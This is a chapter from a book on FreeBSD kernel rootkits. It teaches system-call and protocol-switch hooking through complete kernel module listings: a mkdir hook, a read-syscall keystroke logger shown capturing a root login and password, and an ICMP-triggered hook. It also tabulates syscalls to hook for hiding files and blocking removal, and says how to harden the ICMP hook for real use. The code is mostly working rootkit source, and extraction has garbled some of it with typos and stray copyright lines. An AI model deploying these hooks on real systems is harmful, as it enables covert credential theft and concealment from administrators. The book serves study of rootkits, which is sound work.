We’ll start our discussion of kernel-mode rootkits with call hooking, or simply hooking, which is arguably the most popular rootkit technique.

Hooking is a programming technique that employs handler functions (called hooks) to modify control flow. A new hook registers its address as the location for a specific function, so that when that function is called, the hook is run instead. Typically, a hook will call the original function at some point in order to preserve the original behavior. Figure 2-1 illustrates the control flow of a subroutine before and after installing a call hook.

*Figure 2-1: Normal execution versus hooked execution*
As you can see, hooking is used to extend (or decrease) the functionality of a subroutine. In terms of rootkit design, hooking is used to alter the results of the operating system’s application programming interfaces (APIs), most commonly those involved with bookkeeping and reporting.

Now, let’s start abusing the KLD interface.

2.1 Hooking a System Call

Recall from Chapter 1 that a system call is the entry point through which an application program requests service from the operating system’s kernel. By hooking these entry points, a rootkit can alter the data the kernel returns to any or every user space process. In fact, hooking system calls is so effective that most (publicly available) rootkits employ it in some way.

In FreeBSD, a system call hook is installed by registering its address as the system call function within the target system call’s sysent structure (which is located within sysent[]).

NOTE  For more on system calls, see Section 1.4.

Listing 2-1 is an example system call hook (albeit a trivial one) designed to output a debug message whenever a user space process calls the mkdir system call—in other words, whenever a directory is created.

```c
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/syscall.h>
#include <sys/sysproto.h>

/* mkdir system call hook. */
static int
mkdir_hook(struct thread *td, void *syscall_args)
{
    struct mkdir_args /* { char *path; int mode; */ *uap;
    uap = (struct mkdir_args *)syscall_args;
    char path[255];
    size_t done;
    int error;

    error = copyinstr(uap->path, path, 255, &done);
    if (error != 0)
        return(error);
    /* Print a debug message. */
    printf("%s created.
", path);
    return(0);
}
```

No Starch Press, Copyright © 2007 by Joseph Kong
uprintf("The directory \"%s\" will be created with the following"
    "permissions: %o", path, uap->mode);

    return(mkdir(td, syscall_args));
}

/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
    int error = 0;

    switch (cmd) {
    case MOD_LOAD:
        /* Replace mkdir with mkdir_hook. */
        ① systent[② SYS_mkdir].sy_call = (sy_call_t *)mkdir_hook;
        break;

    case MOD_UNLOAD:
        /* Change everything back to normal. */
        ② systent[SYS_mkdir].sy_call = (sy_call_t *)mkdir;
        break;

    default:
        error = EOPNOTSUPP;
        break;
    }

    return(error);
}

static moduledata_t mkdir_hook_mod = {
    "mkdir_hook",   /* module name */
    load,          /* event handler */
    NULL           /* extra data */
};

DECLARE_MODULE(mkdir_hook, mkdir_hook_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);

Listing 2-1: mkdir_hook.c

Notice that upon module load, the event handler ① registers mkdir_hook (which simply prints a debug message and then calls mkdir) as the mkdir system call function. This single line installs the system call hook. To remove the hook, simply ② reinstate the original mkdir system call function upon module unload.

NOTE The constant ② SYS_mkdir is defined as the offset value for the mkdir system call. This constant is defined in the <sys/syscall.h> header, which also contains a complete listing of all in-kernel system call numbers.

The following output shows the results of executing mkdir(1) after loading mkdir_hook.
$ sudo kldload ./mkdir_hook.ko
$ mkdir test

The directory "test" will be created with the following permissions: 777

$ ls -l
.

drwxr-xr-x 2 ghost ghost 512 Mar 22 08:40 test

As you can see, mkdir(1) is now a lot more verbose.¹

## 2.2 Keystroke Logging

Now let's look at a more interesting (but still somewhat trivial) example of a system call hook.

**Keystroke logging** is the simple act of intercepting and capturing a user's keystrokes. In FreeBSD, this can be accomplished by hooking the read system call.² As its name implies, this call is responsible for reading in input. Here is its C library definition:

```c
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>

ssize_t
read(int fd, void *buf, size_t nbytes);
```

The `read` system call reads in `nbytes` of data from the object referenced by the descriptor `fd` into the buffer `buf`. Therefore, in order to capture a user's keystrokes, you simply have to save the contents of `buf` (before returning from a `read` call) whenever `fd` points to standard input (i.e., file descriptor 0).

For example, take a look at Listing 2-2:

```c
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/syscall.h>
#include <sys/sysproto.h>

/*
 * read system call hook.
 * Logs all keystrokes from stdin.
 * Note: This hook does not take into account special characters, such as
 * Tab, Backspace, and so on.
 */
```

¹ For you astute readers, yes, I have a umask of 022, which is why the permissions for “test” are 755, not 777.

² Actually, to create a full-fledged keystroke logger, you would have to hook `read`, `readv`, `pread`, and `preadv`. 
static int
read_hook(struct thread *td, void *syscall_args)
{
    struct read_args /* { */
        int     fd;
    void    *buf;
    size_t  nbyte;
     /* } */ *uap;
    uap = (struct read_args *)syscall_args;

    int error;
    char buf[1];
    int done;

    error = read(td, syscall_args);

    if (error || (!uap->nbyte) || (uap->nbyte > 1) || (uap->fd != 0))
        return(error);

    copyinstr(uap->buf, buf, 1, &done);
    printf("%c\n", buf[0]);

    return(error);
}

/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
    int error = 0;

    switch (cmd) {
    case MOD_LOAD:
        /* Replace read with read_hook. */
        sysent[SYS_read].sy_call = (sy_call_t *)read_hook;
        break;

    case MOD_UNLOAD:
        /* Change everything back to normal. */
        sysent[SYS_read].sy_call = (sy_call_t *)read;
        break;

    default:
        error = EOPNOTSUPP;
        break;
    }

    return(error);
}

static moduledata_t read_hook_mod = {
    "read_hook",    /* module name */
    load,           /* event handler */
    NULL            /* extra data */
};

DECLARE_MODULE(read_hook, read_hook_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);

Listing 2-2: read_hook.c

No Starch Press, Copyright © 2007 by Joseph Kong
In Listing 2-2 the function read_hook first ① calls read to read in the data from fd. If this data is ② not a keystroke (which is defined as one character or one byte in size) originating from standard input, then ③ read_hook returns. Otherwise, the data (i.e., keystroke) is ④ copied into a local buffer, effectively “capturing” it.

**NOTE** In the interest of saving space (and keeping things simple), read_hook simply dumps the captured keystroke(s) to the system console.

Here are the results from logging into a system after loading read_hook:

```
login: root
Password:
Last login: Mon Mar 4 00:29:14 on ttyv2

root@alpha ~# dmesg | tail -n 32
root
password...
```

As you can see, my login credentials—my username (root) and password (passwd) —have been captured. At this point, you should be able to hook any system call. However, one question remains: If you aren’t a kernel guru, how do you determine which system call(s) to hook? The answer is: you use kernel process tracing.

### 2.3 Kernel Process Tracing

*Kernel process tracing* is a diagnostic and debugging technique used to intercept and record each kernel operation—that is, every system call, namei translation, I/O, signal processed, and context switch performed on behalf of a specific running process. In FreeBSD, this is done with the ktrace(1) and kdump(1) utilities. For example:

```
$ ktrace ls
file1  file2  ktrace.out
$ kdump
$17 ktrace RET ktrace 0
```

3 Obviously, this is not my real root password.
As the preceding example shows, the `ktrace(1)` utility enables kernel trace logging for a specific process [in this case, `ls(1)`], while `kdump(1)` displays the trace data.

Notice the various system calls that `ls(1)` issues during its execution, such as `getdirentries`, `lseek`, `close`, `fchdir`, and so on. This means that you can affect the operation and/or output of `ls(1)` by hooking one or more of these calls.

The main point to all of this is that when you want to alter a specific process and you don’t know which system call(s) to hook, you just need to perform a kernel trace.

### 2.4 Common System Call Hooks

For the sake of being thorough, Table 2-1 outlines some of the most common system call hooks.
Table 2-1: Common System Call Hooks

<table>
<thead>
<tr>
<th>System Call</th>
<th>Purpose of Hook</th>
</tr>
</thead>
<tbody>
<tr>
<td>read, readv, pread, preadv</td>
<td>Logging input</td>
</tr>
<tr>
<td>write, writev, pwrite, pwritenv</td>
<td>Logging output</td>
</tr>
<tr>
<td>open</td>
<td>Hiding file contents</td>
</tr>
<tr>
<td>unlink</td>
<td>Preventing file removal</td>
</tr>
<tr>
<td>chdir</td>
<td>Preventing directory traversal</td>
</tr>
<tr>
<td>chmod</td>
<td>Preventing file mode modification</td>
</tr>
<tr>
<td>chown</td>
<td>Preventing ownership change</td>
</tr>
<tr>
<td>kill</td>
<td>Preventing signal sending</td>
</tr>
<tr>
<td>ioctl</td>
<td>Manipulating ioctl requests</td>
</tr>
<tr>
<td>execve</td>
<td>Redirecting file execution</td>
</tr>
<tr>
<td>rename</td>
<td>Preventing file renaming</td>
</tr>
<tr>
<td>rmdir</td>
<td>Preventing directory removal</td>
</tr>
<tr>
<td>stat, lstat</td>
<td>Hiding file status</td>
</tr>
<tr>
<td>getdirentories</td>
<td>Hiding files</td>
</tr>
<tr>
<td>truncate</td>
<td>Preventing file truncating or extending</td>
</tr>
<tr>
<td>kldload</td>
<td>Preventing module loading</td>
</tr>
<tr>
<td>kldunload</td>
<td>Preventing module unloading</td>
</tr>
</tbody>
</table>

Now let's look at some of the other kernel functions that you can hook.

2.5 Communication Protocols

As its name implies, a communication protocol is a set of rules and conventions used by two communicating processes (for example, the TCP/IP protocol suite). In FreeBSD, a communication protocol is defined by its entries in a protocol switch table. As such, by modifying these entries, a rootkit can alter the data sent and received by either communication endpoint. To better illustrate this “attack,” allow me to digress.

2.5.1 The protosw Structure

The context of each protocol switch table is maintained in a protosw structure, which is defined in the <sys/protosw.h> header as follows:

```c
struct protosw {
    short pr_type;                  /* socket type */
    struct domain *pr_domain;       /* domain protocol */
    short pr_protocol;              /* protocol number */
    short pr_flags;                 /* protocol-protocol hooks */
    pr_input_t *pr_input;           /* input to protocol (from below) */
    pr_output_t *pr_output;         /* output to protocol (from above) */
};
```
pr_ctlinput_t *pr_ctlinput;     /* control input (from below) * /
pr_ctloutput_t *pr_ctloutput;   /* control output (from above) */
/* user-protocol hook */
pr_usreq_t     *pr_usrreq;
/* utility hooks */
pr_init_t *pr_init;
pr_fasttimo_t *pr_fasttimo;     /* fast timeout (200ms) */
pr_slowtimo_t *pr_slowtimo;     /* slow timeout (500ms) */
pr_drain_t *pr_drain;           /* flush any excess space possible */

struct pr_usrreqs *pr_usrreqs; /* supersedes pr_usreq() */
};

Table 2-2 defines the entry points in struct protosw that you’ll need to
know in order to modify a communication protocol.

<table>
<thead>
<tr>
<th>Entry Point</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>pr_init</td>
<td>Initialization routine</td>
</tr>
<tr>
<td>pr_input</td>
<td>Pass data up toward the user</td>
</tr>
<tr>
<td>pr_output</td>
<td>Pass data down toward the network</td>
</tr>
<tr>
<td>pr_ctlinput</td>
<td>Pass control information up</td>
</tr>
<tr>
<td>pr_ctloutput</td>
<td>Pass control information down</td>
</tr>
</tbody>
</table>

2.5.2 The inetsw[] Switch Table

Each communication protocol’s protosw structure is defined in the file
/sys/netinet/in_proto.c. Here is a snippet from this file:

struct protosw inetsw[] = {
{
    .pr_type = 0,
    .pr_domain = &inetdomain,
    .pr_protocol = IPPROTO_IP,
    .pr_init = ip_init,
    .pr_slowtimo = ip_slowtimo,
    .pr_drain = ip_drain,
    .pr_usrreqs = &nouserreqs
},
{
    .pr_type = SOCK_DGRAM,
    .pr_domain = &inetdomain,
    .pr_protocol = IPPROTO_UDP,
    .pr_flags = PR_ATOMIC|PR_ADDR,
    .pr_input = udp_input,
    .pr_ctlinput = udp_ctlinput,
    .pr_ctloutput = ip_ctloutput,
    .pr_init = udp_init,
    .pr_usrreqs = &udp_usrreqs
},

No Starch Press, Copyright © 2007 by Joseph Kong
Notice that every protocol switch table is defined within `inetsw[]`. This means that in order to modify a communication protocol, you have to go through `inetsw[]`.

### 2.5.3 The mbuf Structure

Data (and control information) that is passed between two communicating processes is stored within an `mbuf` structure, which is defined in the `<sys/mbuf.h>` header. To be able to read and modify this data, there are two fields in `struct mbuf` that you’ll need to know: `m_len`, which identifies the amount of data contained within the `mbuf`, and `m_data`, which points to the data.

### 2.6 Hooking a Communication Protocol

Listing 2-3 is an example communication protocol hook designed to output a debug message whenever an Internet Control Message Protocol (ICMP) redirect for Type of Service and Host message containing the phrase *Shiny* is received.

**NOTE**  
An ICMP redirect for Type of Service and Host message contains a type field of 5 and a code field of 3.

```c
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/kernel.h>
#include <sys/sysctl.h>
#include <sys/ip.h>
#include <sys/net_interfaces.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <netinet/in_data.h>
#include <netinet/tcp.h>
#include <netinet/in_systm.h>
#include <netinet/in_var.h>
#include <netinet/ip_icmp.h>
#include <netinet/tcp.h>
#include <netinet/ip_var.h>
```
```c
#define TRIGGER "Shiny."

extern struct protosw inetsw[];
pr_input_t icmp_input_hook;

/* icmp_input hook. */
void
icmp_input_hook(struct mbuf *m, int off)
{
    struct icmp *icp;
    int hlen = off;

    /* Locate the ICMP message within m. */
    m->m_len -= hlen;
    m->m_data += hlen;

    /* Extract the ICMP message. */
    icp = mtod(m, struct icmp *);

    /* Restore m. */
    m->m_len += hlen;
    m->m_data -= hlen;

    /* Is this the ICMP message we are looking for? */
    if (icp->icmp_type == ICMP_REDIRECT &&
        icp->icmp_code == ICMP_REDIRECT_TOSHOST &&
        strncmp(icp->icmp_data, TRIGGER, 6) == 0)
        printf("Let's be bad guys.\n");
    else
        icmp_input(m, off);
}

/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
    int error = 0;

    switch (cmd) {
    case MOD_LOAD:
        /* Replace icmp_input with icmp_input_hook. */
        inetsw[ip_proto[IPPROTO_ICMP]].pr_input = icmp_input_hook;
        break;
    case MOD_UNLOAD:
        /* Change everything back to normal. */
        inetsw[ip_proto[IPPROTO_ICMP]].pr_input = icmp_input;
        break;
    default:
        error = EOPNOTSUPP;
        break;
    }

    return(error);
```

No Starch Press, Copyright © 2007 by Joseph Kong
} 

static moduledata_t icmp_input_hook_mod = {
    "icmp_input_hook",          /* module name */
    load,                        /* event handler */
    NULL                         /* extra data */
};

DECLARE_MODULE(icmp_input_hook, icmp_input_hook_mod, SI_SUB_DRIVERS,
               SI_ORDER_MIDDLE);

Listing 2-3: icmp_input_hook.c

In Listing 2-3 the function icmp_input_hook first sets hlen to the received ICMP message’s IP header length (off). Next, the location of the ICMP message within m is determined; keep in mind that an ICMP message is transmitted within an IP datagram, which is why m_data is increased by hlen. Next, the ICMP message is extracted from m. Thereafter, the changes made to m are reversed, so that when m is actually processed, it’s as if nothing even happened. Finally, if the ICMP message is the one we are looking for, a debug message is printed; otherwise, icmp_input is called.

Notice that upon module load, the event handler registers icmp_input_hook as the pr_input entry point within the ICMP switch table. This single line installs the communication protocol hook. To remove the hook, simply reinstate the original pr_input entry point (which is icmp_input, in this case) upon module unload.

NOTE
The value of ip_protox[IPPROTO_ICMP] is defined as the offset, within inetsw[], for the ICMP switch table. For more on ip_protox[], see the ip_init function in /sys/netinet/ip_input.c.

The following output shows the results of receiving an ICMP redirect for Type of Service and Host message after loading icmp_input_hook:

```
$ sudo kldload ./icmp_input_hook.ko
$ echo Shiny. > payload
$ sudo nemesis icmp -i 5 -c 3 -P ./payload -D 127.0.0.1
ICMP Packet Injected
$ dmesg | tail -n 1
Let’s be bad guys.
```

Admittedly, icmp_input_hook has some flaws; however, for the purpose of demonstrating a communication protocol hook, it’s more than sufficient.

If you are interested in fixing up icmp_input_hook for use in the real world, you only need to make two additions. First, make sure that the IP datagram actually contains an ICMP message before you attempt to locate it. This can be achieved by checking the length of the data field in the IP header. Second, make sure that the data within m is actually there and accessible. This can be achieved by calling m_pullup. For example code on how to do both of these things, see the icmp_input function in /sys/netinet/ip_icmp.c.
2.7 Concluding Remarks

As you can see, call hooking is really all about redirecting function pointers, and at this point, you should have no trouble doing that.

Keep in mind that there are usually a few different entry points you could hook in order to accomplish a specific task. For example, in Section 2.2 I created a keystroke logger by hooking the read system call; however, this can also be accomplished by hooking the l_read entry point in the terminal line discipline (termios) switch table.

For educational purposes and just for fun, I encourage you to try to hook the l_read entry point in the termios switch table. To do so, you’ll need to be familiar with the linesw[] switch table, which is implemented in the file /sys/kern/tty_conf.c, as well as struct linesw, which is defined in the <sys/linedisc.h> header.

NOTE This hook entails a bit more work than the ones shown throughout this chapter.

---

4 The terminal line discipline (termios) is essentially the data structure used to process communication with a terminal and to describe its state.